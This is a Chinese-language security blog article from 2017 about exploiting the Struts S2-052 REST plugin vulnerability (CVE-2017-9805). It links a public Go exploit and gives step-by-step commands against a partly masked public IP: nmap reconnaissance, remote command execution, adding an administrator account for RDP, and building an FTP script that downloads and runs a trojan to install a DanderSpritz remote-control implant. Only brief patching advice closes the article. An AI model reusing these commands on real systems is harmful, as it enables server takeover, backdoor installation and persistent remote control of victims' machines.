Struts S2-052漏洞利用方式解析(附EXP)

2017-09-07 研究

*本文原创作者:hjchjcjh,本文属FreeBuf原创奖励计划,未经许可禁止转载

Struts2的漏洞之王大名相信已经家户喻晓了。从S2-003  S2-005  S2-007  S2-008 S2-009  S2-012~S2-016  S2-037 S2-045  S2-048.等等,而现在2017年9月5日    又收到来自Struts2的“惊喜”——S2-052

利用方式:

靶机: 101.200.58.* (win2008x64 +tomcat8.5+ Struts 2.5.12

漏洞地址:

http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml

一、判断操作系统及端口开放:

本机使用nmap识别一下操作系统(重要):

nmap -o 101.200.58.* 

根据下图目标开放的端口(135.139.445.3389)可以知道:目标使用的是windows系统。

二、环境要求及EXP下载:

因为EXP 是用 go 语言编写的,如果你没有 go 环境的话,需要搭建一下。

Go1.9 下载地址:

https://www.golangtc.com/static/go/1.9/go1.9.windows-386.zip  (32位)

https://www.golangtc.com/static/go/1.9/go1.9.windows-amd64.zip (64位)

Exp  下载地址: https://github.com/luc10/struts-rce-cve-2017-9805

三、漏洞证明:

EXP 使用方法:

go run main.go -u URL -c “command”

因为这个EXP脚本没实现回显功能,其实我们可以把命令结果输出文件到网站目录下面,这样我们使用浏览器访问这个文件就可以看到回显内容了

执行(windows环境下):

go run main.go -u http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml -c "cmd /c  whoami >>.webappsROOTcmd.txt"

执行后,我们访问地址: http://101.200.58.*:8080/cmd.txt

发现命令的执行成功的结果已经写入到网站根目录下的cmd.txt,并且权限是最高权限。

四、控制服务器:

下面提供两种方式控制服务器:

1.添加用户并远程桌面连接

相信各位看官都注意到文章开头的的 Nmap 扫描结果:靶机的 3389 端口在公网开放了,这种情况下,添加个用户,提升到管理员权限就好了。

go run main.go -u http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml -c "cmd /c net user admin admin /add"

    go run main.go -u http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml -c "cmd /c net localgroup administreaors admin admin /add"

注意:windows2008密码默认长度有要求,不能设置弱口令,我这里演示的靶机改过密码策略。

3389 连之


2.安装后门程序

很多时候服务器都是运行在内网环境下,只映射 web 端口出公网,没有外网开放 3389 端口(甚至没启用远程桌面),怎么办?

用远控生成一个木马,木马为 muma.exe 并上传到 ftp ( 这里远控我用的是 DanderSpritz)

做一个 ftp 下载文件的批处理,分别执行以下命令:

go run main.go -u http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml -c "cmd /c echo open FTP地址 >>ftp.txt"
go run main.go -u http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml -c "cmd /c echo user>>ftp.txt"
go run main.go -u http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml -c "cmd /c echo password>>ftp.txt"
go run main.go -u http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml -c "cmd /c echo get muma.exe >>ftp.txt"
go run main.go -u http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml -c "cmd /c echo bye >>ftp.txt"

然后执行ftp下载文件的批处理命令:

go run main.go -u http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml -c "cmd /c ftp -s:ftp.txt"

最后执行木马: 

go run main.go -u http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml -c "cmd /c muma.exe"

DanderSpritz远控上线:木马已经执行,只需要等一会就自动连接控制端了。

如下图成功连接:

在远控看一下靶机屏幕,功能一切正常:

演示完毕!by:贺子

漏洞影响

Struts 2.5 – Struts 2.5.12 版本,可能影响到 2.3.33 版本。

解决方案

1.建议尽快升级到 2.5.13版本。

2.在不使用时删除 Struts REST插件,或仅限于服务器普通页面和JSONs:

<constant name=”struts.action.extension” value=”xhtml,,json” />

*本文原创作者:hjchjcjh,本文属FreeBuf原创奖励计划,未经许可禁止转载


用户评论
开源开发学习小组列表